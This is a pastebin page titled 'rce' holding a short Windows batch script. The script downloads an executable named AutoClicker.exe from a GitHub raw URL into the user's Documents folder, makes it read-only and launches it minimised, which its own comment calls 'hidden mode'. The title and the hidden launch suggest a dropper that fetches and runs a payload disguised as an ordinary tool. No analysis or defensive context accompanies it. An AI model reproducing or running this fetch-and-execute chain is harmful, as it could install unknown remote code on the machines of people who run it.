Pastebin
Paste #27162: rce
< previous paste - next paste>
Pasted by rce
@echo off
setlocal
rem Set the download URL and output file path
set DOWNLOAD_URL=https://github.com/mikhailramlal/pp/raw/refs/heads/main/AutoClicker.exe
set OUTPUT_FILE=%USERPROFILE%\Documents\AutoClicker.exe
rem Start the debug process
echo Starting download...
rem Check if file exists and remove it
if exist "%OUTPUT_FILE%" (
echo File exists, removing...
del /f "%OUTPUT_FILE%"
)
rem Download the file using PowerShell
echo Downloading file...
powershell -Command "Invoke-WebRequest -Uri '%DOWNLOAD_URL%' -OutFile '%OUTPUT_FILE%'"
rem Check if the file was downloaded
if exist "%OUTPUT_FILE%" (
echo File downloaded successfully.
rem Make the file read-only
attrib +r "%OUTPUT_FILE%"
rem Run the file in hidden mode
echo Running the file...
start /min "" "%OUTPUT_FILE%"
) else (
echo Download failed, file not found.
)
endlocal
New Paste
Go to most recent paste.